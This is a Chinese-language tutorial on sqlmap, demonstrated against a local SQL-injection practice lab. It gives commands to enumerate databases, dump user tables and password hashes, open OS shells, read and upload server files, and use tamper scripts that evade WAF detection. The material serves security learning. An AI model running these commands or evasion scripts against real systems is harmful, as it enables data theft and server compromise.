一、sqlmap基本使用
1.判断是否存在注入
(1)当检测参数为一个的时候:
python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1
(2)当参数大于等于两个时,需要加双引号:
python2 sqlmap.py -u "http://localhost/sqli-master/Less-1/?id=1&uid=3"
(3)当测试的位置是cookie或者post传值等位置时,需将获得流量包保存在txt文件中进行测试:
python2 sqlmap.py -r 1.txt
(4)在攻击的时候会有三处需要交互的地方,分别是:
1.it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes?
检测到数据库可能时mysql,是否需要跳过检测其它数据库
2.for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values?
在level1和risk1的情况下,是否使用mysql对应的所有payload进行检测
3.GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)?
参数id存在漏洞是否需要继续检测其他参数
2.查询当前用户下的所有数据库
python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 --dbs
3.获取数据库中的表名
- 使用-D指定数据库
python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 -D security --tables
4.获取表中的字段名
- 使用-D指定数据库,-T指定对应的表
python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 -D security -T users --columns
5.获取字段内容
- 使用-D指定数据库,-T指定对应的表,-C指定字段
python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 -D security -T users -C id,password,username --dump
6.获取数据库所有用户
python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 --users
7.获取数据库用户的密码
python2 sqlmap.py -u “http://localhost/sqli-master/Less-1/?id=1” --passwords
8.获取当前网站数据库的名称
python2 sqlmap.py -u “http://localhost/sqli-master/Less-1/?id=1” --current-db
9.获取当前网站数据库的用户名称
python2 sqlmap.py -u “http://localhost/sqli-master/Less-1/?id=1” --current-user
二、sqlmap高级用法
1.–level5:探测等级
- level是指探测的等级,随着level的提高payload会增加、运行时间增加、同时会自动破解出cookie、XFF头部等注入。
2.–risk5:风险等级
- risk增加后,sql语句不仅会包含select语句,也会包含insert、delete、update等sql语句,很可能会对数据库造成严重的破坏,所以不建议调高risk等级
3.–is-dbs:当前用户是否为管理权限
- 该命令会查看当前用户时候为数据库管理员权限
4.–roles:列出数据库管理员角色
6.–referer:检测http Referer头(当referer定义为3或者3以上时,也会尝试对regerer注入)
5.–sql-shell:运行自定义sql语句(可执行sql语句)
6.–os-cmd,–os-shell:运行任意操作系统命令
7.–file-read:从数据库服务器中读取文件
8.–file-write,file-dest:上传文件到服务器中
9.–identify-waf:用于检测是否存在WAF、IDS、IPS
三、sqlmap自带绕过脚本tamper
- sqlmap默认情况没有对默认注入的数据进行修改,如果想绕过WAF等设备,就需要用到绕过脚本tamper对数据进行修改,在tamper脚本中,主要用到正则模块替换攻击载荷字符编码的方式绕过WAF检测规则
1、tamper脚本格式
tamper脚本一般的结构为priority变量的定义和dependencies、tamper函数定义
- priority定义脚本的优先级,用于多个temper脚本的情况
- dependencies用于定义脚本适用、不适用的范围,可以为空
2、常用的tamper脚本
1.编码绕过:
-
apostrophemask.py
作用:将引号替换成UTF-8,用于过滤单引号 -
base64encode.py
作用:替换为base64编码 -
charencode.py
作用:对给定的payload全部字符使用url编码 -
charunicodeencode.py
作用:字符串unicode编码 -
chardoubleencode.py
作用:对给定的payload全部字符使用双重url编码
2.双写绕过:
- nonrecursivereplacement.py
作用:双重查找语句,用双重语句代替预定义的sql关键字
3.大小写绕过
- randomcase.py
作用:随机大小写
4.注释绕过
- modescurityversioned.py
作用:过滤空格,使用mysql内联注释的方式进行注入 - modescurityzeroversioned.py
作用:使用mysql内联注释的方式(/!000/) - halfversionedmorekeywords.py
作用:当数据库为mysql是绕过防火墙,在每个关键字之前添加mysql版本的注释